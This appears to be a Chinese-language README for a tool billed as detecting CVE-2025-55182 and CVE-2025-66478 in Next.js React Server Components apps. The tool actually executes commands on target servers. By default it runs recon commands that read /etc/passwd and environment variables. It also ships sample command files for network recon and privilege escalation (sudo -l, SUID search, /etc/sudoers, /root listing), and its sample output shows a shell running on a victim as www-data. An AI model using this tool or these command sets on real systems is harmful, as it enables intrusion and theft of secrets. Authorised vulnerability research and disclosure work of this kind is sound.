一个用于检测使用 React Server Components 的 Next.js 应用程序中 CVE-2025-55182 和 CVE-2025-66478 的命令行工具。
wget -q -O /usr/bin/CVE-2025-55182 https://raw.githubusercontent.com/rix4uni/CVE-2025-55182/refs/heads/main/CVE-2025-55182 && chmod +x /usr/bin/CVE-2025-55182
wget -q -O /usr/bin/reportgenerator https://raw.githubusercontent.com/rix4uni/CVE-2025-55182/refs/heads/main/reportgenerator && chmod +x /usr/bin/reportgenerator
CVE-2025-55182 -d https://example.com
| 选项 | 描述 | 默认值 |
|---|---|---|
-d, --domain | 目标 URL(若无协议则自动添加 https://) | http://localhost:3000 |
-c, --command | 要执行的单条命令 | - |
-m, --multiple | 用分号分隔的多条命令 | - |
-f, --file | 包含命令的文件(每行一条) | - |
-h, --help | 显示帮助信息 | - |
注意:如果未提供任何命令选项,将执行默认命令。
该工具默认执行以下命令:
cat /etc/os-release - 操作系统信息whoami - 当前用户pwd - 当前工作目录id - 用户 ID 和组uname -a - 系统信息hostname -I - 网络接口ls -la - 目录列表cat /etc/passwd - 用户账户env - 环境变量ps aux - 正在运行的进程reportgenerator 工具会根据扫描结果自动生成专业的漏洞披露报告。
# Create a file with target domains
echo -e "https://target1.com\nhttps://target2.com" > subs.txt
# Run report generator
reportgenerator
| 标志 | 描述 | 默认值 |
|---|---|---|
--file | 包含目标域名的输入文件 | subs.txt |
--user | 用于披露部分的研究人员姓名 | Bhagirath Saxena |
# Use default settings (subs.txt, Bhagirath Saxena)
reportgenerator
# Use custom target file
reportgenerator --file targets.txt
# Use custom researcher name
reportgenerator --user "John Doe"
# Use both custom options
reportgenerator --file my-targets.txt --user "Jane Smith"
报告生成在两个目录中:
textfile/ - 原始扫描输出(编号:1.txt、2.txt 等)mdfile/ - 专业 Markdown 报告(编号:1.md、2.md 等)注意: 自动编号功能可确保已有报告永远不会被覆盖。新扫描会从现有最高编号继续。
生成的每份报告包含:
▼ 🎯 TARGET: https://vulnerable-app.com
▼ 📋 COMMANDS TO RUN: 10
• cat /etc/os-release
• whoami
• pwd
• id
• uname -a
• hostname -I
• ls -la
• cat /etc/passwd
• env
• ps aux
[1/10] Executing: cat /etc/os-release
▼ 💻 OS INFORMATION
║ NAME="Ubuntu"
║ VERSION="22.04.3 LTS (Jammy Jellyfish)"
║ ID=ubuntu
║ ID_LIKE=debian
║ PRETTY_NAME="Ubuntu 22.04.3 LTS"
║ ...
[2/10] Executing: whoami
▼ 👤 CURRENT USER
║ www-data
...
[3/10] Executing: pwd
▼ 📂 CURRENT DIRECTORY
║ /var/www/html
...
[6/10] Executing: hostname -I
╔════════════════════════════════════════════════════════════╗
║ Command failed: hostname -I
║ This command might not be available or the server rejected it
╚════════════════════════════════════════════════════════════╝
[!] Trying alternative network command...
▼ 🌐 NETWORK INTERFACES (alternative)
║ 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
║ link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
║ inet 127.0.0.1/8 scope host lo
║ valid_lft forever preferred_lft forever
...
commands/ 目录示例:为不同场景创建示例命令文件:
# commands/basic-recon.txt
whoami
id
uname -a
cat /etc/os-release
hostname
# commands/network-recon.txt
ifconfig
netstat -tulpn
iptables -L
cat /etc/hosts
cat /etc/resolv.conf
# commands/privilege-escalation.txt
sudo -l
find / -perm -4000 2>/dev/null
cat /etc/sudoers
ls -la /root/